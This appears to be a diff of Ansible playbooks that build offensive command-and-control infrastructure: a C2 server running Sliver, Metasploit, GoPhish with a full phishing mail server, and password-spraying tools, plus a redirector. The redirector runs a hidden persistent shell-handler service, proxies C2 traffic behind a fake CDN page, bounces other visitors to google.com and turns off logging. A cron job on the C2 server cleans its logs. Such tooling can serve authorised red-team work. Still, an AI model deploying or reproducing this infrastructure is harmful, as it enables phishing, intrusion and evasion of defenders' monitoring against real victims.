ExecStart=/opt/shell-handler/persistent-listener.sh
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
|
|
||||||
# Hide process information
|
|
||||||
PrivateTmp=true
|
|
||||||
ProtectSystem=full
|
|
||||||
NoNewPrivileges=true
|
|
||||||
|
|
||||||
# Make shell handler hard to find
|
|
||||||
StandardOutput=null
|
|
||||||
StandardError=null
|
|
||||||
|
|
||||||
# Environment variables
|
|
||||||
Environment="C2_HOST={{ c2_ip }}"
|
|
||||||
Environment="LISTEN_PORT={{ shell_handler_port }}"
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
dest: /etc/systemd/system/shell-handler.service
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Configure NGINX for zero-logging
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
user www-data;
|
|
||||||
worker_processes auto;
|
|
||||||
pid /run/nginx.pid;
|
|
||||||
include /etc/nginx/modules-enabled/*.conf;
|
|
||||||
|
|
||||||
events {
|
|
||||||
worker_connections 1024;
|
|
||||||
multi_accept on;
|
|
||||||
}
|
|
||||||
|
|
||||||
http {
|
|
||||||
# Basic Settings
|
|
||||||
sendfile on;
|
|
||||||
tcp_nopush on;
|
|
||||||
tcp_nodelay on;
|
|
||||||
keepalive_timeout 65;
|
|
||||||
types_hash_max_size 2048;
|
|
||||||
server_tokens off;
|
|
||||||
|
|
||||||
# MIME
|
|
||||||
include /etc/nginx/mime.types;
|
|
||||||
default_type application/octet-stream;
|
|
||||||
|
|
||||||
# Zero-logs configuration
|
|
||||||
access_log off;
|
|
||||||
error_log /dev/null crit;
|
|
||||||
|
|
||||||
# SSL Settings
|
|
||||||
ssl_protocols TLSv1.2 TLSv1.3;
|
|
||||||
ssl_prefer_server_ciphers on;
|
|
||||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
|
||||||
|
|
||||||
# Headers to confuse fingerprinting
|
|
||||||
more_set_headers 'Server: Microsoft-IIS/8.5';
|
|
||||||
|
|
||||||
# Virtual Host Configs
|
|
||||||
include /etc/nginx/conf.d/*.conf;
|
|
||||||
include /etc/nginx/sites-enabled/*;
|
|
||||||
}
|
|
||||||
dest: /etc/nginx/nginx.conf
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
when: zero_logs|bool
|
|
||||||
|
|
||||||
- name: Configure NGINX default site for C2 redirection
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
server {
|
|
||||||
listen 80;
|
|
||||||
listen [::]:80;
|
|
||||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
||||||
|
|
||||||
# Redirect to HTTPS
|
|
||||||
return 301 https://$host$request_uri;
|
|
||||||
}
|
|
||||||
|
|
||||||
server {
|
|
||||||
listen 443 ssl;
|
|
||||||
listen [::]:443 ssl;
|
|
||||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
||||||
|
|
||||||
# SSL Configuration (self-signed until Let's Encrypt is set up)
|
|
||||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
|
||||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
|
||||||
|
|
||||||
# Root directory
|
|
||||||
root /var/www/html;
|
|
||||||
index index.html;
|
|
||||||
|
|
||||||
# Special URI patterns for C2 traffic
|
|
||||||
location /ajax/ {
|
|
||||||
proxy_pass http://{{ c2_ip }}:8888;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header Upgrade $http_upgrade;
|
|
||||||
proxy_set_header Connection "upgrade";
|
|
||||||
}
|
|
||||||
|
|
||||||
# Default location
|
|
||||||
location / {
|
|
||||||
try_files $uri $uri/ =404;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Disable logging for this server block
|
|
||||||
access_log off;
|
|
||||||
error_log /dev/null crit;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Catch-all server block
|
|
||||||
server {
|
|
||||||
listen 80 default_server;
|
|
||||||
listen [::]:80 default_server;
|
|
||||||
|
|
||||||
# Redirect all unknown traffic to a legitimate-looking site
|
|
||||||
return 301 https://www.google.com;
|
|
||||||
|
|
||||||
# Disable logs
|
|
||||||
access_log off;
|
|
||||||
error_log /dev/null crit;
|
|
||||||
}
|
|
||||||
dest: /etc/nginx/sites-available/default
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create legitimate-looking index.html
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
|
|
||||||
<style>
|
|
||||||
body {
|
|
||||||
font-family: Arial, sans-serif;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
background-color: #f4f4f4;
|
|
||||||
}
|
|
||||||
header {
|
|
||||||
background-color: #2c3e50;
|
|
||||||
color: white;
|
|
||||||
padding: 1em;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
.container {
|
|
||||||
width: 80%;
|
|
||||||
margin: 0 auto;
|
|
||||||
padding: 2em;
|
|
||||||
}
|
|
||||||
.card {
|
|
||||||
background-color: white;
|
|
||||||
border-radius: 5px;
|
|
||||||
padding: 1.5em;
|
|
||||||
margin-bottom: 1.5em;
|
|
||||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<header>
|
|
||||||
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
|
|
||||||
<p>Enterprise Content Delivery Network</p>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<div class="container">
|
|
||||||
<div class="card">
|
|
||||||
<h2>Welcome to Our CDN</h2>
|
|
||||||
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.</p>
|
|
||||||
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
dest: /var/www/html/index.html
|
|
||||||
mode: '0644'
|
|
||||||
owner: www-data
|
|
||||||
group: www-data
|
|
||||||
|
|
||||||
- name: Start and enable shell handler service
|
|
||||||
systemd:
|
|
||||||
name: shell-handler
|
|
||||||
state: started
|
|
||||||
enabled: yes
|
|
||||||
daemon_reload: yes
|
|
||||||
|
|
||||||
- name: Set up cron job for log cleaning
|
|
||||||
cron:
|
|
||||||
name: "Clean logs"
|
|
||||||
minute: "0"
|
|
||||||
hour: "*/6"
|
|
||||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
|
||||||
when: zero_logs|bool
|
|
||||||
|
|
||||||
- name: Install Let's Encrypt certificate if domain specified
|
|
||||||
shell: |
|
|
||||||
certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
|
||||||
args:
|
|
||||||
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
|
|
||||||
when: domain != "example.com"
|
|
||||||
|
|
||||||
- name: Restart NGINX
|
|
||||||
systemd:
|
|
||||||
name: nginx
|
|
||||||
state: restarted
|
|
||||||
+90
-399
@@ -1,410 +1,101 @@
|
|||||||
---
|
---
|
||||||
- name: Configure FlokiNET C2 server
|
# FlokiNET C2-only Configuration Playbook
|
||||||
hosts: c2
|
# Note: FlokiNET requires pre-provisioned servers
|
||||||
|
|
||||||
|
- name: Prepare FlokiNET C2 configuration
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
c2_subdomain: "{{ c2_subdomain | default('mail') }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Validate required FlokiNET configuration
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- c2_ip is defined and c2_ip != ""
|
||||||
|
fail_msg: "FlokiNET requires C2 IP address. Set c2_ip in vars.yaml or via --flokinet-c2-ip."
|
||||||
|
|
||||||
|
- name: Add C2 to inventory
|
||||||
|
add_host:
|
||||||
|
name: "c2"
|
||||||
|
groups: "c2servers"
|
||||||
|
ansible_host: "{{ c2_ip }}"
|
||||||
|
ansible_user: "{{ ssh_user | default('root') }}"
|
||||||
|
ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||||
|
ansible_ssh_port: "{{ ssh_port | default(22) }}"
|
||||||
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||||
|
|
||||||
|
- name: Verify SSH connection to C2
|
||||||
|
wait_for:
|
||||||
|
host: "{{ c2_ip }}"
|
||||||
|
port: "{{ ssh_port | default(22) }}"
|
||||||
|
delay: 10
|
||||||
|
timeout: 60
|
||||||
|
state: started
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Provision FlokiNET C2 server
|
||||||
|
hosts: c2servers
|
||||||
|
become: true
|
||||||
gather_facts: true
|
gather_facts: true
|
||||||
vars_files:
|
vars_files:
|
||||||
- vars.yaml
|
- vars.yaml
|
||||||
tasks:
|
tasks:
|
||||||
- name: Install C2 framework and required packages
|
- name: Wait for apt to be available
|
||||||
ansible.builtin.apt:
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
register: apt_result
|
||||||
|
until: apt_result is success
|
||||||
|
retries: 5
|
||||||
|
delay: 10
|
||||||
|
|
||||||
|
- name: Set hostname
|
||||||
|
hostname:
|
||||||
|
name: "c2"
|
||||||
|
|
||||||
|
- name: Update apt cache
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Upgrade all packages
|
||||||
|
apt:
|
||||||
|
upgrade: dist
|
||||||
|
|
||||||
|
- name: Install base security packages
|
||||||
|
apt:
|
||||||
name:
|
name:
|
||||||
|
- apt-transport-https
|
||||||
|
- ca-certificates
|
||||||
- curl
|
- curl
|
||||||
- wget
|
- gnupg
|
||||||
- git
|
- lsb-release
|
||||||
- python3-pip
|
- unattended-upgrades
|
||||||
- python3-virtualenv
|
- ufw
|
||||||
- tmux
|
- fail2ban
|
||||||
- nmap
|
- secure-delete
|
||||||
- tcpdump
|
|
||||||
- hydra
|
|
||||||
- john
|
|
||||||
- hashcat
|
|
||||||
- sqlmap
|
|
||||||
- gobuster
|
|
||||||
- dirb
|
|
||||||
- enum4linux
|
|
||||||
- dnsenum
|
|
||||||
- seclists
|
|
||||||
- responder
|
|
||||||
- golang
|
|
||||||
- proxychains
|
|
||||||
- tor
|
|
||||||
- jq
|
|
||||||
- unzip
|
|
||||||
- postfix
|
|
||||||
- certbot
|
|
||||||
- opendkim
|
|
||||||
- opendkim-tools
|
|
||||||
- dovecot-core
|
|
||||||
- dovecot-imapd
|
|
||||||
- dovecot-pop3d
|
|
||||||
- dovecot-sieve
|
|
||||||
- dovecot-managesieved
|
|
||||||
- yq
|
|
||||||
state: present
|
state: present
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Add UFW rules for C2 server (internal only)
|
- name: Include common security hardening tasks
|
||||||
ansible.builtin.ufw:
|
include_tasks: "../tasks/security_hardening.yml"
|
||||||
rule: allow
|
|
||||||
port: "{{ item.port }}"
|
|
||||||
proto: "{{ item.proto }}"
|
|
||||||
from_ip: "{{ redirector_ip }}"
|
|
||||||
with_items:
|
|
||||||
- { port: 8888, proto: tcp } # C2 HTTP listener
|
|
||||||
- { port: 50051, proto: tcp } # Sliver gRPC
|
|
||||||
- { port: 31337, proto: tcp } # Sliver console
|
|
||||||
- { port: 8443, proto: tcp } # Beacon server
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create directories for C2 operation
|
- name: Include common tool installation tasks
|
||||||
ansible.builtin.file:
|
include_tasks: "../tasks/install_tools.yml"
|
||||||
path: "{{ item }}"
|
|
||||||
state: directory
|
- name: Include common C2 configuration tasks
|
||||||
mode: '0700'
|
include_tasks: "../tasks/configure_c2.yml"
|
||||||
owner: root
|
|
||||||
group: root
|
- name: Include common mail server configuration tasks
|
||||||
with_items:
|
include_tasks: "../tasks/configure_mail.yml"
|
||||||
- /opt/c2
|
|
||||||
- /opt/beacons
|
- name: Print deployment summary
|
||||||
- /opt/payloads
|
debug:
|
||||||
- /root/Tools
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Copy operational scripts for C2
|
|
||||||
ansible.builtin.copy:
|
|
||||||
src: "../files/{{ item }}"
|
|
||||||
dest: "/opt/c2/{{ item }}"
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
with_items:
|
|
||||||
- clean-logs.sh
|
|
||||||
- secure-exit.sh
|
|
||||||
- serve-beacons.sh
|
|
||||||
become: true
|
|
||||||
|
|
||||||
# Tool Installation
|
|
||||||
- name: Ensure pipx path is configured
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
pipx ensurepath
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Install tools via pipx
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
export PATH=$PATH:/root/.local/bin
|
|
||||||
pipx ensurepath
|
|
||||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
|
||||||
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
|
|
||||||
pipx install impacket
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Download Kerbrute
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
mkdir -p /root/Tools/Kerbrute
|
|
||||||
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /root/Tools/Kerbrute/kerbrute
|
|
||||||
chmod +x /root/Tools/Kerbrute/kerbrute
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Clone SharpCollection nightly builds
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/Flangvik/SharpCollection.git
|
|
||||||
dest: /root/Tools/SharpCollection
|
|
||||||
version: master
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Clone PEASS-ng
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/carlospolop/PEASS-ng.git
|
|
||||||
dest: /root/Tools/PEASS-ng
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Clone MailSniper
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/dafthack/MailSniper.git
|
|
||||||
dest: /root/Tools/MailSniper
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Clone Inveigh
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/Kevin-Robertson/Inveigh.git
|
|
||||||
dest: /root/Tools/Inveigh
|
|
||||||
become: true
|
|
||||||
|
|
||||||
# C2 Framework Installation
|
|
||||||
- name: Install Sliver C2 framework
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl https://sliver.sh/install | bash
|
|
||||||
args:
|
|
||||||
creates: /usr/local/bin/sliver-server
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure Sliver service
|
|
||||||
ansible.builtin.template:
|
|
||||||
src: templates/sliver-server.service.j2
|
|
||||||
dest: /etc/systemd/system/sliver.service
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Start and enable Sliver service
|
|
||||||
ansible.builtin.systemd:
|
|
||||||
name: sliver
|
|
||||||
state: started
|
|
||||||
enabled: yes
|
|
||||||
daemon_reload: yes
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Install Metasploit Framework
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
|
|
||||||
chmod 755 /tmp/msfinstall
|
|
||||||
/tmp/msfinstall
|
|
||||||
rm /tmp/msfinstall
|
|
||||||
args:
|
|
||||||
creates: /opt/metasploit-framework/bin/msfconsole
|
|
||||||
become: true
|
|
||||||
|
|
||||||
# GoPhish Installation
|
|
||||||
- name: Grab GoPhish
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -O /root/Tools/gophish.zip
|
|
||||||
unzip /root/Tools/gophish.zip -d /root/Tools/gophish
|
|
||||||
rm -rf /root/Tools/gophish.zip
|
|
||||||
chmod +x /root/Tools/gophish/gophish
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
creates: /root/Tools/gophish/gophish
|
|
||||||
|
|
||||||
- name: Deploy Gophish config.json with custom admin port
|
|
||||||
ansible.builtin.template:
|
|
||||||
src: templates/gophish-config.j2
|
|
||||||
dest: /root/Tools/gophish/config.json
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
become: true
|
|
||||||
vars:
|
|
||||||
gophish_admin_port: "{{ gophish_admin_port }}"
|
|
||||||
domain: "{{ domain }}"
|
|
||||||
|
|
||||||
# Mail Server Configuration
|
|
||||||
- name: Configure Postfix main.cf
|
|
||||||
ansible.builtin.lineinfile:
|
|
||||||
path: /etc/postfix/main.cf
|
|
||||||
regexp: "{{ item.regexp }}"
|
|
||||||
line: "{{ item.line }}"
|
|
||||||
with_items:
|
|
||||||
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
|
|
||||||
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
|
|
||||||
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
|
|
||||||
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
|
|
||||||
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
|
|
||||||
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
|
|
||||||
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
|
|
||||||
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
|
|
||||||
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
|
|
||||||
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
|
|
||||||
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
|
|
||||||
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
|
|
||||||
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
|
|
||||||
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
|
|
||||||
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
|
|
||||||
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
|
|
||||||
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
|
|
||||||
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure OpenDKIM
|
|
||||||
ansible.builtin.lineinfile:
|
|
||||||
path: /etc/opendkim.conf
|
|
||||||
regexp: "{{ item.regexp }}"
|
|
||||||
line: "{{ item.line }}"
|
|
||||||
with_items:
|
|
||||||
- { regexp: '^Domain', line: "Domain {{ domain }}" }
|
|
||||||
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
|
|
||||||
- { regexp: '^Selector', line: "Selector mail" }
|
|
||||||
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
- { regexp: '^Syslog', line: "Syslog yes" }
|
|
||||||
- { regexp: '^UMask', line: "UMask 002" }
|
|
||||||
- { regexp: '^Mode', line: "Mode sv" }
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create DKIM directory
|
|
||||||
ansible.builtin.file:
|
|
||||||
path: /etc/opendkim/keys/{{ domain }}
|
|
||||||
state: directory
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0700
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Generate DKIM keys
|
|
||||||
ansible.builtin.command: >
|
|
||||||
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
|
|
||||||
args:
|
|
||||||
creates: /etc/opendkim/keys/{{ domain }}/mail.private
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Set permissions for DKIM keys
|
|
||||||
ansible.builtin.file:
|
|
||||||
path: /etc/opendkim/keys/{{ domain }}/mail.private
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0600
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure OpenDKIM TrustedHosts
|
|
||||||
ansible.builtin.copy:
|
|
||||||
content: |
|
|
||||||
127.0.0.1
|
|
||||||
::1
|
|
||||||
localhost
|
|
||||||
{{ domain }}
|
|
||||||
dest: /etc/opendkim/TrustedHosts
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0644
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Enable submission port (587) in master.cf
|
|
||||||
ansible.builtin.blockinfile:
|
|
||||||
path: /etc/postfix/master.cf
|
|
||||||
insertafter: '^#submission'
|
|
||||||
block: |
|
|
||||||
submission inet n - y - - smtpd
|
|
||||||
-o syslog_name=postfix/submission
|
|
||||||
-o smtpd_tls_security_level=encrypt
|
|
||||||
-o smtpd_sasl_auth_enable=yes
|
|
||||||
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
|
||||||
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure Dovecot for Postfix SASL
|
|
||||||
ansible.builtin.blockinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-master.conf
|
|
||||||
insertafter: '^service auth {'
|
|
||||||
block: |
|
|
||||||
# Postfix smtp-auth
|
|
||||||
unix_listener /var/spool/postfix/private/auth {
|
|
||||||
mode = 0660
|
|
||||||
user = postfix
|
|
||||||
group = postfix
|
|
||||||
}
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Set Dovecot auth_mechanisms
|
|
||||||
ansible.builtin.lineinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
regexp: '^auth_mechanisms'
|
|
||||||
line: 'auth_mechanisms = plain login'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create Dovecot password file for SASL authentication
|
|
||||||
ansible.builtin.file:
|
|
||||||
path: /etc/dovecot/passwd
|
|
||||||
state: touch
|
|
||||||
mode: '0600'
|
|
||||||
owner: dovecot
|
|
||||||
group: dovecot
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Add SMTP auth user to Dovecot
|
|
||||||
ansible.builtin.lineinfile:
|
|
||||||
path: /etc/dovecot/passwd
|
|
||||||
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Disable system auth and use passwd-file
|
|
||||||
ansible.builtin.lineinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
regexp: '^!include auth-system.conf.ext'
|
|
||||||
line: '#!include auth-system.conf.ext'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Add auth-passwdfile configuration
|
|
||||||
ansible.builtin.blockinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
insertafter: '^auth_mechanisms ='
|
|
||||||
block: |
|
|
||||||
passdb {
|
|
||||||
driver = passwd-file
|
|
||||||
args = scheme=sha512_crypt /etc/dovecot/passwd
|
|
||||||
}
|
|
||||||
userdb {
|
|
||||||
driver = static
|
|
||||||
args = uid=vmail gid=vmail home=/var/vmail/%u
|
|
||||||
}
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create vmail group
|
|
||||||
ansible.builtin.group:
|
|
||||||
name: vmail
|
|
||||||
gid: 5000
|
|
||||||
state: present
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create vmail user
|
|
||||||
ansible.builtin.user:
|
|
||||||
name: vmail
|
|
||||||
uid: 5000
|
|
||||||
group: vmail
|
|
||||||
create_home: no
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Restart Postfix
|
|
||||||
ansible.builtin.service:
|
|
||||||
name: postfix
|
|
||||||
state: restarted
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Restart Dovecot
|
|
||||||
ansible.builtin.service:
|
|
||||||
name: dovecot
|
|
||||||
state: restarted
|
|
||||||
become: true
|
|
||||||
|
|
||||||
# Beacon Server Configuration
|
|
||||||
- name: Configure beacon server
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
sed -i "s/C2_HOST=.*$/C2_HOST=\"{{ c2_ip }}\"/g" /opt/c2/serve-beacons.sh
|
|
||||||
chmod +x /opt/c2/serve-beacons.sh
|
|
||||||
nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
|
|
||||||
become: true
|
|
||||||
|
|
||||||
# Set up cron job for log cleaning
|
|
||||||
- name: Set up cron job for log cleaning
|
|
||||||
ansible.builtin.cron:
|
|
||||||
name: "Clean logs"
|
|
||||||
minute: "0"
|
|
||||||
hour: "*/6"
|
|
||||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
|
||||||
become: true
|
|
||||||
when: zero_logs|bool
|
|
||||||
|
|
||||||
# Install Let's Encrypt certificate if domain specified
|
|
||||||
- name: Install Let's Encrypt certificate
|
|
||||||
ansible.builtin.command: >
|
|
||||||
certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
|
||||||
args:
|
|
||||||
creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
|
|
||||||
become: true
|
|
||||||
when: domain != "example.com"
|
|
||||||
|
|
||||||
- name: Display C2 server setup information
|
|
||||||
ansible.builtin.debug:
|
|
||||||
msg:
|
msg:
|
||||||
- "C2 server setup completed!"
|
- "C2 Server Configuration Complete!"
|
||||||
- "IP Address: {{ ansible_host }}"
|
- "-------------------------------"
|
||||||
- "Domain: {{ c2_subdomain }}.{{ domain }}"
|
- "C2 Server IP: {{ ansible_host }}"
|
||||||
- "Sliver C2 listening on port 8888"
|
- "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)"
|
||||||
- "Beacons server available at http://{{ ansible_host }}:8443/"
|
- "GoPhish Admin Port: {{ gophish_admin_port }}"
|
||||||
|
when: not disable_summary | default(false)
|
||||||
+85
-106
@@ -1,118 +1,97 @@
|
|||||||
---
|
---
|
||||||
- name: Configure FlokiNET redirector server
|
# FlokiNET Redirector-only Configuration Playbook
|
||||||
hosts: redirector
|
# Note: FlokiNET requires pre-provisioned servers
|
||||||
|
|
||||||
|
- name: Prepare FlokiNET redirector configuration
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
# Generate random shell handler port if not provided
|
||||||
|
shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
|
||||||
|
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Validate required FlokiNET configuration
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- redirector_ip is defined and redirector_ip != ""
|
||||||
|
fail_msg: "FlokiNET requires redirector IP address. Set redirector_ip in vars.yaml or via --flokinet-redirector-ip."
|
||||||
|
|
||||||
|
- name: Add redirector to inventory
|
||||||
|
add_host:
|
||||||
|
name: "redirector"
|
||||||
|
groups: "redirectors"
|
||||||
|
ansible_host: "{{ redirector_ip }}"
|
||||||
|
ansible_user: "{{ ssh_user | default('root') }}"
|
||||||
|
ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||||
|
ansible_ssh_port: "{{ ssh_port | default(22) }}"
|
||||||
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||||
|
|
||||||
|
- name: Verify SSH connection to redirector
|
||||||
|
wait_for:
|
||||||
|
host: "{{ redirector_ip }}"
|
||||||
|
port: "{{ ssh_port | default(22) }}"
|
||||||
|
delay: 10
|
||||||
|
